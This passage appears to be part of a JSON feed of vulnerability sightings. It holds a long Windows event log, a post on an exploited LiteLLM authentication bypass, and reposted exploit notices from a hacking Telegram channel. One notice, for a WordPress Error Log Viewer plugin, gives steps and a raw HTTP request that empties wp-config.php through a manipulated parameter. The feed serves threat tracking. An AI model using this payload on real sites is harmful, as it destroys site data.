deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-3646", "author": {"login": "automation"}}, {"uuid": "d5094645-8163-4e21-a07e-76b8a657b66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:29:46.700574+00:00", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mutlawidqo2f", "content": "\ud83d\udd34 EXPLOITED\n\nLiteLLM, the open-source gateway fronting your LLM providers, has an auth bypass (CVE-2026-59822) CISA confirms is exploited.\n\nAttackers reach its MCP tools and steal the provider keys it stores.\n\nFix: update to 1.84.0 and rotate keys.", "vulnerability": "CVE-2026-59822", "author": {"login": "automation"}}, {"uuid": "15ef6991-d0ee-41f0-a949-3a27a35b289e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.615814+00:00", "type": "seen", "source": "Telegram/iJR95E8kv61jfY2vytdD0YiVw2BBATVelGZktxN4BZZcfkCA", "content": "", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "efea5805-8d30-455d-a225-34d2c84c09ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.576746+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43095", "content": "Exploit Collector\nWordPress Error Log Viewer 1.1.1 Arbitrary File Deletion\n\nhttps://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png \nWordPress Error Log Viewer plugin version 1.1.1 suffers from an arbitrary file deletion vulnerability where it can be leveraged to wipe the internal contents of any named file the webserver has permissions to modify.\n\nMD5 | bd2b398b1fa771ffccb743e2b4156dd3\n\nDownload\n# Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)\n# Date: 09-11-2021\n# Exploit Author: Ceylan Bozogullarindan\n# Exploit Website: https://bozogullarindan.com\n# Vendor Homepage: https://bestwebsoft.com/\n# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/\n# Version: 1.1.1\n# Tested on: Linux\n# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)\n# Description:\n\nError Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!\n\nI've especially emphasized \"clearing a log file\" statement because the feature of \"clearing a log file\" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is \"rrrlgvwr_clear_file_name\". It can be manipulated only authenticated users.\n\nAn attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.\n\n# Steps To Reproduce\n\n1. Install and activate the plugin.\n2. Click the \"Log Monitor\" available under Error Log Viewer menu item.\n3. Choose a log file to clear.\n4. Intercept the request via Burp or any other local proxy tool.\n5. Replace the value of the parameter \"rrrlgvwr_clear_file_name\" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.\n6. Check the content of the cleared file. You will see that the file is empty.\n# PoC - Supported Materials\n\n---------------------------------------------------------------------------\nPOST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1\nHost: 127.0.0.1:8000\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 603\nConnection: close\nUpgrade-Insecure-Requests: 1\nCookie: [admin+]\n\nrrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php\n---------------------------------------------------------------------------\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-24966", "author": {"login": "automation"}}, {"uuid": "ba87625a-7bb7-4a8a-8e8a-d187d7365e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.539490+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43226", "content": "Exploit Collector\nZepl Notebook Remote Code Execution\n\nhttps://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png \nZepl Notebook suffers from a remote code execution vulnerability.\n\nMD5 | 9d603c1863096f6609b45bc48296b1f4\n\nDownload\nExploit Title: Zepl Notebook - Remote Code Execution\nDate: 9/28/2021\nVendor Homepage: https://zepl.com/\nSoftware Link: https://app.zepl.com/\nVersion: All previous versions of product to the date of this submission\nTested on: The issue affects all versions of the product up to the date of this submission\nExploit Authors: Josh Sheppard & Pathfynder Inc\nExploit Contact: ghost a t undervurse dot_com & josh a t pathfynder dot_io\nExploit Technique: Remote\nCVE ID: CVE-2021-42950\n1. Description\nA remote code execution vulnerability has been discovered in Zepl's Notebooks product. Users can register for an account and are allocated a set number of credits to try the product. Once users authenticate, they can proceed to create a new organization by which additional users can be added for various collaboration abilities. Once this has been established, users can then create new Zepl Notebooks with various languages, contexts and deployment scenarios. Upon creating a new notebook with specially crafted malicious code, a user can then launch remote code execution.\nThis vulnerability effects all previous versions of their Notebook product suite.\n2. Disclosure Timeline\n9/28/21 - Discovery and Exploitation\n9/28/21 - Vendor Notified\n2/16/22 - CVE Assignment\n2/17/22 - Public Disclosure\n3. Mitigation\nHotfix applied to vendors SAAS solution, no action is necessary at this time.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-42950", "author": {"login": "automation"}}, {"uuid": "d78c0610-639d-4f40-9ec5-eae222aa8bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.498219+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows 